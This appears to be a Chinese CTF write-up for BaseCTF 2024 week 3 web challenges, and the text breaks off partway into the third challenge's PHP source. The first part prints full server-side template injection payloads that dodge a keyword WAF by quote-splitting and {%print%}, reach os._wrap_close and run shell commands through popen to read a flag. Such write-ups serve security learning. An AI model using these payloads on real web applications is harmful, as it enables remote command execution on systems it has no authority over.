1、复读机
这题页面是一个
之后在网络中可以看到这个网页的处理器是python
而且flag中还有类似于{}
这样的字眼,而且还是python处理的,所以就想到了ssti
果然,出现了waf,所以基本上就是这个思路
+ - * / . {{ }} __ : " \
这些好像都被过滤了,还有一些关键字也被过滤了,可以在关键字中间插入一对单引号''来进行绕过
{{}}
也被过滤了,可以用{%print%}
模板进行绕过
于是构造BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']())%}
因为题目无法显示完全,所以这里通过抓包来获取输出页面
然后找到能够rce的类(如:<class 'os._wrap_close'>
)
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('pwd')['rea''d']())%}
执行成功
现在的问题就是根目录 / 被过滤了
此时注意到上条命令执行的结果中有个 / 然后,这里我们可以用一个截取函数 expr substr
来截取这个字符
payload:
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('a=`pwd`;a=`substr $a 1 1`;cd $a;cat flag')['rea''d']())%}
2、滤个不停
这题就是一个日志包含,很简单,可以去找找相关的资料然后做这个题
3、玩原神玩的
题目源码
<?php
highlight_file(__FILE__);
error_reporting(0);
include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
ys_open($_GET['tip']);
} else {
die("错了!就你还想玩原神?❌❌❌");
}
function ys_open($tip) {
if ($tip != "我要玩原神") {
die("我不管,我要玩原神!
标签:curl,ii,flag,2024basectf,week3,array,CURLOPT,md5
From: https://www.cnblogs.com/lcmz/p/18404277